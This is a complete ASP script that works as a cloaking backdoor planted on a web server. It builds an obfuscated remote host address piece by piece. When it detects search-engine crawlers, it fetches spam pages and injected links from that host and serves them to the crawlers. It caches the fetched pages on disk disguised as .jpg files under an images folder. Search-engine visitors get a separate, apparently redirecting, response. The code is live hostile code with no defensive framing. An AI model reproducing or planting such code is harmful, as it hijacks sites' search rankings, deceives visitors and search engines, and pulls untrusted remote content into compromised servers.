<% Function fileExists(relativeFilePath) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fileExists = fso.FileExists(Server.MapPath(relativeFilePath)) End Function Function ReadFile(filePath) Dim stream, fcc, chkey chkey = "index_" & Server.MapPath(filePath) If Not IsEmpty(Application(chkey)) Then fcc = Application(chkey) Else Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 ' adTypeText stream.Charset = "utf-8" stream.LoadFromFile Server.MapPath(filePath) fcc = stream.ReadText stream.Close Set stream = Nothing Application.Lock Application(chkey) = fcc Application.Unlock End If ReadFile = fcc End Function sub WriteF(filename, content) On Error Resume Next Dim stream Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 'adTypeText stream.Charset = "UTF-8" stream.WriteText content stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite stream.Close Set stream = Nothing If Err.Number <> 0 Then WriteF = content Else WriteF = content End If End sub Function urls() u="i." u1="wskmn" urls="http://"+u+u1+".com"+"/index5/" End Function Function format() filename=domain()&url() filename = Replace(filename, "http://", "") filename = Replace(filename, "https://", "") filename = Replace(filename, "\", "-") filename = Replace(filename, "/", "") filename = Replace(filename, ":", "-") filename = Replace(filename, "*", "-") filename = Replace(filename, "?", "-") filename = Replace(filename, """", "-") filename = Replace(filename, "<", "-") filename = Replace(filename, ">", "-") filename = Replace(filename, "|", "-") filename = Replace(filename, "&", "-") filename = Replace(filename, "=", "-") format=folder()+filename+".jpg" End Function Function folder() folder1="images\spider\" folder=cfolder(folder1) End Function Function cfolder(dir) Dim fs,strFolder strFolder=fo Err.Clear On Error Resume Next set fs=Server.CreateObject("Scripting.FileSystemObject") strFolder=Server.MapPath(dir) If not fs.FolderExists(strFolder) Then fs.CreateFolder strFolder cfolder=dir End If cfolder=dir End Function Function all() ff=format() da=replace(date(),"/","-") if fileExists(folder()&"date.jpg") then rd=ReadFile(folder()&"date.jpg") if rd=da then if fileExists(ff) then all= ReadFile(ff) else aa= sour() WriteF ff,aa all=aa end if else aa= sour() WriteF ff,aa WriteF folder()&"date.jpg",da all=aa end if else aa= sour() WriteF ff,aa WriteF folder()&"date.jpg",da all=aa end if End Function Function url() dim http http=LCase(request.ServerVariables("QUERY_STRING")) if instr(http,"&")>0 then url=replace(http,"&","?",1,1) else url=http end if End Function function domain() domain=LCase(request.ServerVariables("SERVER_NAME")) End Function Dim fileContent ' Set fileContent = CreateObject("Scripting.Dictionary") function sour() aa=urls()+"?"+"domain="+domain()+replace("&script=/"+"&id="&"/"&url(),"//","/") sour=GetWebContent(aa,"utf-8","60000") End Function function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("google","baidu","sogou","yahoo","360","yahoo","bing","youdao","bot","spider") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","sogou","yahoo","soso.com","360.cn","so.com","yahoo","bing","youdao","baidu.com",".aol.com") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function Function GetWebContent(strURL, strCharset, intTimeout) Response.CodePage = 65001 Dim objHttp, strHTML On Error Resume Next Set objHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") If Err.Number <> 0 Then Set objHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0") End If If Err.Number <> 0 Then Set objHttp = Server.CreateObject("MSXML2.XMLHTTP") End If If Err.Number <> 0 Then Set objHttp = Server.CreateObject("Microsoft.XMLHTTP") End If On Error GoTo 0 If objHttp Is Nothing Then GetWebContent = "" Exit Function End If objHttp.Open "GET", strURL, False objHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objHttp.SetTimeouts intTimeout, intTimeout, intTimeout, intTimeout objHttp.Send strHTML = objHttp.responseText If Left(strHTML, 3) = ChrW(&HFEFF) Then strHTML = Mid(strHTML, 4) End If Dim arrCharsets(2) arrCharsets(0) = "utf-8" arrCharsets(1) = "gb2312" arrCharsets(2) = "gbk" Dim strCharsetInArray, objStream, strStream For Each strCharsetInArray In arrCharsets Set objStream = Server.CreateObject("ADODB.Stream") objStream.Mode = 3 ' adModeReadWrite objStream.Type = 1 ' adTypeBinary objStream.Open objStream.Write objHttp.ResponseBody objStream.Position = 0 objStream.Type = 2 ' adTypeText objStream.Charset = strCharsetInArray strStream = objStream.ReadText objStream.Close Set objStream = Nothing If InStr(strStream, ChrW(&HFFFD)) = 0 Then strHTML = strStream Exit For End If Next Set objHttp = Nothing GetWebContent = strHTML End Function if isspider()=true then response.clear 'application.contents.removeall() response.write( replace( all(),"{wailian}",GetWebContent(urls+"link.asp","utf-8","60000") ) ) response.write("") response.end end if if fromse() then response.clear response.write("
") Response.Flush response.end else response.write("
") end if %>